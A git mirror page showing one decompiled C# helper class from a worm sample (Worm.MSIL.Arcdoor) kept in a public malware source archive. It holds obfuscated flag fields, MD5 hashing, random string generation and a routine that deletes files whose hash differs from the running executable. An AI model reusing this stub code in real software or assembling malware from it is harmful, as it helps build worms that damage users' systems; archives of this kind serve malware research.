mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-17 00:09:23 +00:00
f2ac1ece55
add
90 lines
3.8 KiB
C#
90 lines
3.8 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type: Stub.cFunctions
|
|
// Assembly: N0ise, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
|
// MVID: 21609AF2-EC6A-4FAA-88B3-5930EE31DBBA
|
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Worm.MSIL.Arcdoor.bnb-2ba0542fbb07307543e432f53a360961fd7e6507d83c004424a2e44ed30b4dbc.exe
|
|
|
|
using System;
|
|
using System.Diagnostics;
|
|
using System.IO;
|
|
using System.Security.Cryptography;
|
|
using System.Text;
|
|
|
|
namespace Stub
|
|
{
|
|
internal class cFunctions
|
|
{
|
|
public bool fsdgsdfssdgsdfgsdfgdfgsdfdfs = true;
|
|
public bool fsdgsaasdgdfgsdfdfsdfgsdfdfs = true;
|
|
public bool fsdgsdfasdgfsdgsdfgsasdfsdfgsdfdfs = true;
|
|
public bool fsdgsdassdfgsdfgsdfgsffsdfgsdfdfs = true;
|
|
public bool fsdgsdvzxdfbjhdffdfsdfgsdfdfs = true;
|
|
public bool fsdghdgsdfgertewterfgsdfdfs = true;
|
|
public bool fsdgdgjsdfswersdfdfgsdfdfs = true;
|
|
public bool fsdgsdfsddgstywertfdfgsdfdfs = true;
|
|
public bool sdfgsdfgsdfgsdgsdgfgsdfhsdf = true;
|
|
public bool fsdgsdsdffssdfgghfgsdfdfs = true;
|
|
public bool fsdgsdsdfgsdfgrtyfgsdfdfs = true;
|
|
public bool fsdgsdfsssfsfgdqwefgsdfdfs = true;
|
|
public bool fsdgsdfsdfgsghfgdgfgsasdfdfdfs = true;
|
|
public bool fsdgsdfsdfgfhyjytjsdfdfsdfdfs = true;
|
|
public bool fsdgsdffghdfghfgdfhfhddfgsdfdfs = true;
|
|
public bool fsdgsdfgsdfgsdfgsdfgdfg34554sdfdfs = true;
|
|
public bool fsdgsfgsd3453fgdfggsdfdfsdfgsdfdfs = true;
|
|
public bool fsdgsdfasdfsdgs3fgsdfsasdfsdfgsdfdfs = true;
|
|
public bool fsdgsdassdfgs5gsdfgsdfdffsdfgsdfdfs = true;
|
|
public bool fsdgsdasgxd345345fbjhdffdfsdfgsdfdfs = true;
|
|
public bool fsdghdgsdfsrtewterfgsdfdfs = true;
|
|
public bool fsdgdgjsdfswe57566rdfdfgsdfdfs = true;
|
|
public bool fsdgsdfsddgs4556345tsdgfgsdfhsdf = true;
|
|
public bool fsdgsdsd463465sdghjffgsdfdfs = true;
|
|
public bool fsdgsdfgf3hsdsdfgsdfgrtyfgsdfdfs = true;
|
|
public bool fsdgsdfsss6778fhgsdfgdqwefgsdfdfs = true;
|
|
public bool fsdgsdf5475464sdfgsgdghsdfgsasdfdfdfs = true;
|
|
public bool fsdgsdf769787890dfgfhsdfgdfsdfsdfdfs = true;
|
|
public bool fsdgsdffgsshfghdfgh89899fggfhddfsdfdfs = true;
|
|
|
|
private void sdfgssdsdfgfgsdfgdgsdgsdfsadfgsdfgsdfdf() => this.fsdgsdf769787890dfgfhsdfgdfsdfsdfdfs = false;
|
|
|
|
private void sdfgsdgsjhkkjdgsdfwergdfdfgsdfgsdfgsdfdf() => this.fsdgdgjsdfswe57566rdfdfgsdfdfs = false;
|
|
|
|
public bool checkProcess(string sProcessName) => Process.GetProcessesByName(sProcessName).Length > 0;
|
|
|
|
private void sdfgsd34dfgsssdfdfsdfdfgsdfgsdfsdfdf() => this.fsdgsdassdfgs5gsdfgsdfdffsdfgsdfdfs = false;
|
|
|
|
private void sdfgsdgsdfhgfsdfgsdfgsdfgsdfdf() => this.fsdgsdfasdfsdgs3fgsdfsasdfsdfgsdfdfs = false;
|
|
|
|
private string FileMD5(string sFileName)
|
|
{
|
|
FileStream inputStream = File.OpenRead(sFileName);
|
|
byte[] hash = new MD5CryptoServiceProvider().ComputeHash((Stream) inputStream);
|
|
inputStream.Close();
|
|
return BitConverter.ToString(hash).Replace("-", "").ToUpper();
|
|
}
|
|
|
|
public string getMD5Hash(string sString) => BitConverter.ToString(new MD5CryptoServiceProvider().ComputeHash(Encoding.Default.GetBytes(sString))).Replace("-", "").ToLower().ToUpper();
|
|
|
|
private void sdfgssdfsdfgsdfgsdfdgsdfgasdfsdfgsdfgsdfdf() => this.fsdgsdffgsshfghdfgh89899fggfhddfsdfdfs = false;
|
|
|
|
public string genString(int iLen)
|
|
{
|
|
Random random = new Random();
|
|
string str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
|
|
string empty = string.Empty;
|
|
for (int index = 0; index < iLen; ++index)
|
|
empty += str.Substring(random.Next(0, str.Length), 1);
|
|
return empty;
|
|
}
|
|
|
|
public bool checkFile(string FilePath)
|
|
{
|
|
if (!File.Exists(FilePath))
|
|
return false;
|
|
if (!(this.FileMD5(FilePath) != this.FileMD5(Process.GetCurrentProcess().MainModule.FileName)))
|
|
return true;
|
|
File.Delete(FilePath);
|
|
return false;
|
|
}
|
|
}
|
|
}
|